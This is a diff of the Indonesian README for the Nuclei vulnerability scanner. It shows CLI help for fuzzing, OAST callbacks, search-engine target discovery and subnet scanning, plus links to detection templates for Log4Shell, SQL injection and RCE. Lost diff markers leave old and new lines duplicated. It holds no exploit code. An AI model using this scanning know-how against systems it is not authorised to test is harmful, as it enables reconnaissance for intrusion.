-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
-dut, -disable-unsigned-templates disable running unsigned templates or templates with mismatched signature
|
||||
-esc, -enable-self-contained enable loading self-contained templates
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
-tags string[] templates to run based on tags (comma-separated, file)
|
||||
-etags, -exclude-tags string[] templates to exclude based on tags (comma-separated, file)
|
||||
-itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration
|
||||
-id, -template-id string[] templates to run based on template ids (comma-separated, file)
|
||||
-id, -template-id string[] templates to run based on template ids (comma-separated, file, allow-wildcard)
|
||||
-eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file)
|
||||
-it, -include-templates string[] templates to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] template or template directory to exclude (comma-separated, file)
|
||||
-it, -include-templates string[] path to template file or directory to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] path to template file or directory to exclude (comma-separated, file)
|
||||
-em, -exclude-matchers string[] template matchers to exclude in result
|
||||
-s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] templates to run based on expression condition
|
||||
|
||||
OUTPUT:
|
||||
@@ -140,8 +197,9 @@ OUTPUT:
|
||||
-silent display findings only
|
||||
-nc, -no-color disable output content coloring (ANSI escape codes)
|
||||
-j, -jsonl write output in JSONL(ines) format
|
||||
-irr, -include-rr include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
|
||||
-irr, -include-rr -omit-raw include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
|
||||
-or, -omit-raw omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)
|
||||
-ot, -omit-template omit encoded template in the JSON, JSONL output
|
||||
-nm, -no-meta disable printing result metadata in cli output
|
||||
-ts, -timestamp enables printing timestamp in cli output
|
||||
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
|
||||
@@ -150,9 +208,13 @@ OUTPUT:
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
-je, -json-export string file to export results in JSON format
|
||||
-jle, -jsonl-export string file to export results in JSONL(ine) format
|
||||
-pe, -pdf-export string file to export results in PDF format
|
||||
-rd, -redact string[] redact given list of keys from query parameter, request header and body
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string path to the nuclei configuration file
|
||||
-tp, -profile string template profile config file to run
|
||||
-tpl, -profile-list list community template profiles
|
||||
-fr, -follow-redirects enable following redirects for http templates
|
||||
-fhr, -follow-host-redirects follow redirects on the same host
|
||||
-mr, -max-redirects int max number of redirects to follow for http templates (default 10)
|
||||
@@ -172,16 +234,17 @@ CONFIGURATIONS:
|
||||
-sml, -show-match-line show match lines for file templates, works with extractors only
|
||||
-ztls use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default
|
||||
-sni string tls sni hostname to use (default: input domain name)
|
||||
-dka, -dialer-keep-alive value keep-alive duration for network requests.
|
||||
-lfa, -allow-local-file-access allows file (payload) access anywhere on the system
|
||||
-lna, -restrict-local-network-access blocks connections to the local / private network
|
||||
-i, -interface string network interface to use for network scan
|
||||
-at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-config-directory string override the default config path ($home/.config)
|
||||
-rsr, -response-size-read int max response size to read in bytes (default 10485760)
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
@@ -193,67 +256,87 @@ INTERACTSH:
|
||||
-ni, -no-interactsh disable interactsh server for OAST testing, exclude OAST based templates
|
||||
|
||||
FUZZING:
|
||||
-ft, -fuzzing-type string overrides fuzzing type set in template (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string overrides fuzzing mode set in template (multiple, single)
|
||||
-ft, -fuzzing-type string overrides fuzzing type set in template (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string overrides fuzzing mode set in template (multiple, single)
|
||||
-fuzz enable loading fuzzing templates (Deprecated: use -dast instead)
|
||||
-dast enable / run dast (fuzz) nuclei templates
|
||||
-dts, -dast-server enable dast server mode (live fuzzing)
|
||||
-dtr, -dast-report write dast scan report to file
|
||||
-dtst, -dast-server-token string dast server token (optional)
|
||||
-dtsa, -dast-server-address string dast server address (default "localhost:9055")
|
||||
-dfp, -display-fuzz-points display fuzz points in the output for debugging
|
||||
-fuzz-param-frequency int frequency of uninteresting parameters for fuzzing before skipping (default 10)
|
||||
-fa, -fuzz-aggression string fuzzing aggression level controls payload count for fuzz (low, medium, high) (default "low")
|
||||
-cs, -fuzz-scope string[] in scope url regex to be followed by fuzzer
|
||||
-cos, -fuzz-out-scope string[] out of scope url regex to be excluded by fuzzer
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (default shodan)
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow,google) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ur, -uncover-ratelimit int override ratelimit of engines with unknown ratelimit (default 60 req/min) (default 60)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int maximum number of requests to send per second (default 150)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute
|
||||
-rld, -rate-limit-duration value maximum number of requests to send per second (default 1s)
|
||||
-per-host-rate-limit enable per-host rate limiting (global rate limit becomes unlimited when enabled)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute (DEPRECATED)
|
||||
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
|
||||
-c, -concurrency int maximum number of templates to be executed in parallel (default 25)
|
||||
-hbs, -headless-bulk-size int maximum number of headless hosts to be analyzed in parallel per template (default 10)
|
||||
-headc, -headless-concurrency int maximum number of headless templates to be executed in parallel (default 10)
|
||||
-jsc, -js-concurrency int maximum number of javascript runtimes to be executed in parallel (default 120)
|
||||
-pc, -payload-concurrency int max payload concurrency for each template (default 25)
|
||||
-prc, -probe-concurrency int http probe concurrency with httpx (default 50)
|
||||
-tlc, -template-loading-concurrency int maximum number of concurrent template loading operations (default 50)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-te, -track-error string[] adds given error to max-host-error watchlist (standard, file)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
-project-path string set a specific project path (default "/tmp")
|
||||
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
|
||||
-stream stream mode - start elaborating without sorting the input
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default auto)
|
||||
-irt, -input-read-timeout duration timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-no-stdin disable stdin processing
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-te, -track-error string[] adds given error to max-host-error watchlist (standard, file)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
-project-path string set a specific project path (default "/tmp")
|
||||
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
|
||||
-stream stream mode - start elaborating without sorting the input
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default auto)
|
||||
-irt, -input-read-timeout value timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-preflight-portscan run preflight resolve + TCP portscan and filter targets before scanning (disabled by default)
|
||||
-no-stdin disable stdin processing
|
||||
|
||||
HEADLESS:
|
||||
-headless enable templates that require headless browser support (root user on Linux will disable sandbox)
|
||||
-page-timeout int seconds to wait for each page in headless mode (default 20)
|
||||
-sb, -show-browser show the browser on the screen when running templates with headless mode
|
||||
-sc, -system-chrome use local installed Chrome browser instead of nuclei installed
|
||||
-lha, -list-headless-action list available headless actions
|
||||
-headless enable templates that require headless browser support (root user on Linux will disable sandbox)
|
||||
-page-timeout int seconds to wait for each page in headless mode (default 20)
|
||||
-sb, -show-browser show the browser on the screen when running templates with headless mode
|
||||
-ho, -headless-options string[] start headless chrome with additional options
|
||||
-sc, -system-chrome use local installed Chrome browser instead of nuclei installed
|
||||
-cdpe, -cdp-endpoint string use remote browser via Chrome DevTools Protocol (CDP) endpoint
|
||||
-lha, -list-headless-action list available headless actions
|
||||
|
||||
DEBUG:
|
||||
-debug show all requests and responses
|
||||
-dreq, -debug-req show all sent requests
|
||||
-dresp, -debug-resp show all received responses
|
||||
-p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input)
|
||||
-pi, -proxy-internal proxy all internal requests
|
||||
-ldf, -list-dsl-function list all supported DSL function signatures
|
||||
-tlog, -trace-log string file to write sent requests trace log
|
||||
-elog, -error-log string file to write sent requests error log
|
||||
-version show nuclei version
|
||||
-hm, -hang-monitor enable nuclei hang monitoring
|
||||
-v, -verbose show verbose output
|
||||
-profile-mem string optional nuclei memory profile dump file
|
||||
-vv display templates loaded for scan
|
||||
-svd, -show-var-dump show variables dump for debugging
|
||||
-ep, -enable-pprof enable pprof debugging server
|
||||
-tv, -templates-version shows the version of the installed nuclei-templates
|
||||
-hc, -health-check run diagnostic check up
|
||||
-debug show all requests and responses
|
||||
-dreq, -debug-req show all sent requests
|
||||
-dresp, -debug-resp show all received responses
|
||||
-p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input)
|
||||
-pi, -proxy-internal proxy all internal requests
|
||||
-ldf, -list-dsl-function list all supported DSL function signatures
|
||||
-tlog, -trace-log string file to write sent requests trace log
|
||||
-elog, -error-log string file to write sent requests error log
|
||||
-version show nuclei version
|
||||
-hm, -hang-monitor enable nuclei hang monitoring
|
||||
-v, -verbose show verbose output
|
||||
-profile-mem string generate memory (heap) profile & trace files
|
||||
-vv display templates loaded for scan
|
||||
-svd, -show-var-dump show variables dump for debugging
|
||||
-vdl, -var-dump-limit int limit the number of characters displayed in var dump (default 255)
|
||||
-ep, -enable-pprof enable pprof debugging server
|
||||
-tv, -templates-version shows the version of the installed nuclei-templates
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
@@ -261,17 +344,31 @@ UPDATE:
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
-hpt, -honeypot-threshold int number of distinct template IDs required to flag a honeypot host (default 15)
|
||||
-shp, -suppress-honeypot suppress output for flagged honeypot hosts
|
||||
|
||||
STATISTICS:
|
||||
-stats display statistics about the running scan
|
||||
-sj, -stats-json display statistics in JSONL(ines) format
|
||||
-si, -stats-interval int number of seconds to wait between showing a statistics update (default 5)
|
||||
-m, -metrics expose nuclei metrics on a port
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (default 9092)
|
||||
-hps, -http-stats enable http status capturing (experimental)
|
||||
|
||||
CLOUD:
|
||||
-auth configure projectdiscovery cloud (pdcp) api key
|
||||
-cup, -cloud-upload upload scan results to pdcp dashboard
|
||||
-sid, -scan-id string upload scan results to given scan id
|
||||
-auth configure projectdiscovery cloud (pdcp) api key (default true)
|
||||
-tid, -team-id string upload scan results to given team id (optional) (default "none")
|
||||
-cup, -cloud-upload upload scan results to pdcp dashboard [DEPRECATED use -dashboard]
|
||||
-sid, -scan-id string upload scan results to existing scan id (optional)
|
||||
-sname, -scan-name string scan name to set (optional)
|
||||
-pd, -dashboard upload / view nuclei results in projectdiscovery cloud (pdcp) UI dashboard
|
||||
-pdu, -dashboard-upload string upload / view nuclei results file (jsonl) in projectdiscovery cloud (pdcp) UI dashboard
|
||||
|
||||
AUTHENTICATION:
|
||||
-sf, -secret-file string[] path to config file containing secrets for nuclei authenticated scan
|
||||
-ps, -prefetch-secrets prefetch secrets from the secrets file
|
||||
# NOTE: Headers in secrets files preserve exact casing (useful for case-sensitive APIs)
|
||||
|
||||
|
||||
EXAMPLES:
|
||||
@@ -290,124 +387,284 @@ Run nuclei with a JSON output:
|
||||
Run nuclei with sorted Markdown outputs (with environment variables):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
|
||||
Additional documentation is available at: https://docs.nuclei.sh/getting-started/running
|
||||
Additional documentation is available at: https://docs.projectdiscovery.io/getting-started/running
|
||||
|
||||
```
|
||||
|
||||
### Menjalankan Nuclei
|
||||
Dokumentasi tambahan tersedia di: [**`docs.projectdiscovery.io/getting-started/running`**](https://docs.projectdiscovery.io/getting-started/running?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)
|
||||
|
||||
Memindai domain target dengan templat Nuclei yang [dikurasi oleh komunitas](https://github.com/projectdiscovery/nuclei-templates).
|
||||
</details>
|
||||
|
||||
### Pemindaian target tunggal
|
||||
|
||||
Untuk melakukan pemindaian cepat pada aplikasi web:
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com
|
||||
nuclei -target https://example.com
|
||||
```
|
||||
|
||||
Memindai URL target dengan templat Nuclei yang [dikurasi oleh komunitas](https://github.com/projectdiscovery/nuclei-templates).
|
||||
### Pemindaian beberapa target
|
||||
|
||||
Nuclei dapat menangani pemindaian massal dengan menyediakan daftar target. Anda dapat menggunakan file yang berisi banyak URL.
|
||||
|
||||
```sh
|
||||
nuclei -list urls.txt
|
||||
```
|
||||
|
||||
Contoh dari berkas `urls.txt`:
|
||||
### Pemindaian jaringan
|
||||
|
||||
```yaml
|
||||
http://example.com
|
||||
http://app.example.com
|
||||
http://test.example.com
|
||||
http://uat.example.com
|
||||
Ini akan memindai seluruh subnet untuk masalah terkait jaringan, seperti port terbuka atau layanan yang dikonfigurasi keliru.
|
||||
|
||||
```sh
|
||||
nuclei -target 192.168.1.0/24
|
||||
```
|
||||
|
||||
**Contoh lebih detil tentang menjalankan Nuclei dapat ditemukan [di sini](https://nuclei.projectdiscovery.io/nuclei/get-started/#running-nuclei).**
|
||||
### Pemindaian dengan template kustom Anda
|
||||
|
||||
# Untuk Teknisi Keamanan
|
||||
Untuk menulis dan menggunakan template Anda sendiri, buat file `.yaml` dengan aturan-aturan spesifik, lalu gunakan seperti berikut.
|
||||
|
||||
Nuclei menawarkan sejumlah besar fitur yang berguna bagi teknisi keamanan untuk menyesuaikan alur kerja di organisasi mereka. Dengan berbagai kemampuan pemindaian (seperti misalnya DNS, HTTP, TCP), teknisi keamanan dapat dengan mudah membuat rangkaian pemeriksaan khusus mereka dengan Nuclei.
|
||||
```sh
|
||||
nuclei -u https://example.com -t /path/to/your-template.yaml
|
||||
```
|
||||
|
||||
- Berbagai protokol yang didukung: TCP, DNS, HTTP, File, dll
|
||||
- Mencapai langkah-langkah kerentanan yang kompleks dengan alur kerja dan [permintaan dinamis](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/).
|
||||
- Mudah diintegrasikan ke dalam CI/CD, dirancang agar mudah diintegrasikan ke dalam siklus regresi untuk secara aktif memeriksa perbaikan dan kemunculan kerentanan kembali.
|
||||
### Menghubungkan Nuclei ke ProjectDiscovery
|
||||
|
||||
<h1 align="left">
|
||||
<a href="https://nuclei.projectdiscovery.io/nuclei/get-started/"><img src="static/learn-more-button.png" width="170px" alt="Pelajari Selengkapnya"></a>
|
||||
</h1>
|
||||
Anda dapat menjalankan pemindaian di mesin Anda dan mengunggah hasilnya ke platform cloud untuk analisis lebih lanjut dan perbaikan.
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
```sh
|
||||
nuclei -target https://example.com -dashboard
|
||||
```
|
||||
|
||||
**Untuk Pemburu Celah Berhadiah:**
|
||||
> [!NOTE]
|
||||
> Fitur ini sepenuhnya gratis dan tidak memerlukan langganan. Untuk panduan rinci, lihat [**`dokumentasi`**](https://docs.projectdiscovery.io/cloud/scanning/nuclei-scan?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme).
|
||||
|
||||
Nuclei memungkinkan Anda untuk menyesuaikan pendekatan pengujian Anda dengan rangkaian pemeriksaan Anda sendiri dan dengan mudah menjalankan program celah berhadiah Anda. Selain itu, Nuclei dapat dengan mudah diintegrasikan ke dalam alur kerja pemindaian berkelanjutan.
|
||||
<br>
|
||||
<br>
|
||||
|
||||
- Dirancang agar mudah diintegrasikan ke dalam alur kerja alat lainnya.
|
||||
- Dapat memproses ribuan host hanya dalam beberapa menit.
|
||||
- Mudah mengotomatiskan pendekatan pengujian khusus Anda dengan sintaks DSL berbasis YAML sederhana kami.
|
||||
## Template Nuclei, Komunitas dan Hadiah 💎
|
||||
[**Template Nuclei**](https://github.com/projectdiscovery/nuclei-templates) didasarkan pada konsep file template berbasis YAML yang mendefinisikan bagaimana permintaan dikirim dan diproses. Ini memberikan kemampuan ekstensibilitas yang mudah pada nuclei. Template ditulis dalam YAML yang menentukan format yang sederhana dan mudah dibaca manusia untuk dengan cepat mendefinisikan proses eksekusi.
|
||||
|
||||
Silakan periksa proyek sumber terbuka kami yang lain yang mungkin cocok dengan alur kerja celah berhadiah Anda: [github.com/projectdiscovery](https://github.com/projectdiscovery), kami juga menyediakan [penyegaran data DNS di Chaos setiap hari](https://chaos.projectdiscovery.io).
|
||||
**Coba secara online dengan Editor Template Nuclei berbasis AI kami yang gratis dengan** [**`mengklik di sini`**](https://cloud.projectdiscovery.io/templates).
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
Template Nuclei menawarkan cara yang efisien untuk mengidentifikasi dan mengomunikasikan kerentanan, menggabungkan detail penting seperti rating keparahan dan metode deteksi. Alat sumber terbuka yang dikembangkan oleh komunitas ini mempercepat respon ancaman dan diakui secara luas di dunia siber keamanan. Template Nuclei secara aktif dikontribusikan oleh ribuan peneliti keamanan di seluruh dunia. Kami menjalankan dua program untuk para kontributor: [**`Pioneers`**](https://projectdiscovery.io/pioneers) dan [**`💎 bounties`**](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22).
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
<p align="left">
|
||||
<a href="/static/nuclei-templates-teamcity.png" target="_blank"><img src="/static/nuclei-templates-teamcity.png" width="1200px" alt="Contoh template Nuclei untuk mendeteksi kesalahan konfigurasi TeamCity" /></a>
|
||||
</p>
|
||||
|
||||
#### Contoh
|
||||
|
||||
Kunjungi [**dokumentasi kami**](https://docs.projectdiscovery.io/templates/introduction) untuk kasus penggunaan dan ide.
|
||||
|
||||
| Kasus penggunaan | Template Nuclei |
|
||||
| :----------------------------------------- | :------------------------------------------------- |
|
||||
| Deteksi CVE yang sudah diketahui | **[CVE-2021-44228 (Log4Shell)](https://cloud.projectdiscovery.io/public/CVE-2021-45046)** |
|
||||
| Identifikasi kerentanan Out-of-Band | **[Blind SQL Injection via OOB](https://cloud.projectdiscovery.io/public/CVE-2024-22120)** |
|
||||
| Deteksi SQL Injection | **[Generic SQL Injection](https://cloud.projectdiscovery.io/public/CVE-2022-34265)** |
|
||||
| Cross-Site Scripting (XSS) | **[Reflected XSS Detection](https://cloud.projectdiscovery.io/public/CVE-2023-4173)** |
|
||||
| Kata sandi default atau lemah | **[Default Credentials Check](https://cloud.projectdiscovery.io/public/airflow-default-login)** |
|
||||
| File rahasia atau eksposur data | **[Sensitive File Disclosure](https://cloud.projectdiscovery.io/public/airflow-configuration-exposure)** |
|
||||
| Identifikasi open redirect | **[Open Redirect Detection](https://cloud.projectdiscovery.io/public/open-redirect)** |
|
||||
| Deteksi subdomain takeover | **[Subdomain Takeover Templates](https://cloud.projectdiscovery.io/public/azure-takeover-detection)** |
|
||||
| Kesalahan konfigurasi keamanan | **[Unprotected Jenkins Console](https://cloud.projectdiscovery.io/public/unauthenticated-jenkins)** |
|
||||
| Konfigurasi SSL/TLS yang lemah | **[SSL Certificate Expiry](https://cloud.projectdiscovery.io/public/expired-ssl)** |
|
||||
| Layanan cloud yang dikonfigurasi keliru | **[Open S3 Bucket Detection](https://cloud.projectdiscovery.io/public/s3-public-read-acp)** |
|
||||
| Kerentanan eksekusi kode jarak jauh | **[RCE Detection Templates](https://cloud.projectdiscovery.io/public/CVE-2024-29824)** |
|
||||
| Serangan directory traversal | **[Path Traversal Detection](https://cloud.projectdiscovery.io/public/oracle-fatwire-lfi)** |
|
||||
| Kerentanan file inclusion | **[Local/Remote File Inclusion](https://cloud.projectdiscovery.io/public/CVE-2023-6977)** |
|
||||
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Misi Kami
|
||||
|
||||
Pemindai kerentanan tradisional dibangun puluhan tahun yang lalu. Mereka tertutup, sangat lambat, dan digerakkan oleh vendor. Penyerang masa kini secara massal mengeksploitasi CVE yang baru dirilis di seluruh internet dalam hitungan hari, berbeda dengan tahun-tahun yang dibutuhkan sebelumnya. Pergeseran ini membutuhkan pendekatan yang sangat berbeda untuk menangani eksploit yang sedang tren di internet.
|
||||
|
||||
Kami membangun Nuclei untuk menyelesaikan tantangan ini. Kami menjadikan seluruh framework mesin pemindai sebagai sumber terbuka dan dapat disesuaikan — memungkinkan komunitas keamanan global untuk berkolaborasi dan menangani vektor serangan dan kerentanan yang sedang tren di internet. Nuclei kini digunakan dan dikontribusikan oleh perusahaan Fortune 500, lembaga pemerintah, dan universitas.
|
||||
|
||||
Anda dapat berpartisipasi dengan berkontribusi pada kode kami, [**`library template`**](https://github.com/projectdiscovery/nuclei-templates), atau [**`bergabung dengan tim kami`**](https://projectdiscovery.io/).
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Kontributor :heart:
|
||||
|
||||
Terima kasih kepada semua [**`kontributor komunitas yang luar biasa yang telah mengirimkan PR`**](https://github.com/projectdiscovery/nuclei/graphs/contributors) dan terus memperbarui proyek ini. :heart:
|
||||
|
||||
<p align="left">
|
||||
<a href="https://github.com/Ice3man543"><img src="https://avatars.githubusercontent.com/u/22318055?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/apps/dependabot"><img src="https://avatars.githubusercontent.com/in/29110?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ehsandeep"><img src="https://avatars.githubusercontent.com/u/8293321?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Mzack9999"><img src="https://avatars.githubusercontent.com/u/13421144?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/forgedhallpass"><img src="https://avatars.githubusercontent.com/u/13679401?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tarunKoyalwar"><img src="https://avatars.githubusercontent.com/u/45962551?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/manuelbua"><img src="https://avatars.githubusercontent.com/u/819314?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/actions-user"><img src="https://avatars.githubusercontent.com/u/65916846?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dogancanbakir"><img src="https://avatars.githubusercontent.com/u/65292895?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/parrasajad"><img src="https://avatars.githubusercontent.com/u/16835787?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vzamanillo"><img src="https://avatars.githubusercontent.com/u/10209695?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ShubhamRasal"><img src="https://avatars.githubusercontent.com/u/45902122?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/RamanaReddy0M"><img src="https://avatars.githubusercontent.com/u/90540245?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/LuitelSamikshya"><img src="https://avatars.githubusercontent.com/u/85764322?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kchason"><img src="https://avatars.githubusercontent.com/u/1111099?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/pmareke"><img src="https://avatars.githubusercontent.com/u/3502075?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dwisiswant0"><img src="https://avatars.githubusercontent.com/u/25837540?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xm1k3"><img src="https://avatars.githubusercontent.com/u/73166077?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/5amu"><img src="https://avatars.githubusercontent.com/u/39925709?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ehrishirajsharma"><img src="https://avatars.githubusercontent.com/u/35542790?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zerodivisi0n"><img src="https://avatars.githubusercontent.com/u/687694?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/geeknik"><img src="https://avatars.githubusercontent.com/u/466878?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/TerminalFi"><img src="https://avatars.githubusercontent.com/u/32599364?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KaulSe"><img src="https://avatars.githubusercontent.com/u/45340011?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sullo"><img src="https://avatars.githubusercontent.com/u/1474884?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/wdahlenburg"><img src="https://avatars.githubusercontent.com/u/4451504?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ghost"><img src="https://avatars.githubusercontent.com/u/10137?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Nishan8583"><img src="https://avatars.githubusercontent.com/u/20457968?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jdk2588"><img src="https://avatars.githubusercontent.com/u/985054?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/nothinux"><img src="https://avatars.githubusercontent.com/u/17433202?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/CodFrm"><img src="https://avatars.githubusercontent.com/u/22783163?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/CasperGN"><img src="https://avatars.githubusercontent.com/u/5549643?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ankh2054"><img src="https://avatars.githubusercontent.com/u/6784287?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/revblock"><img src="https://avatars.githubusercontent.com/u/72813848?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/cn-kali-team"><img src="https://avatars.githubusercontent.com/u/30642514?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/EndPositive"><img src="https://avatars.githubusercontent.com/u/25148195?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
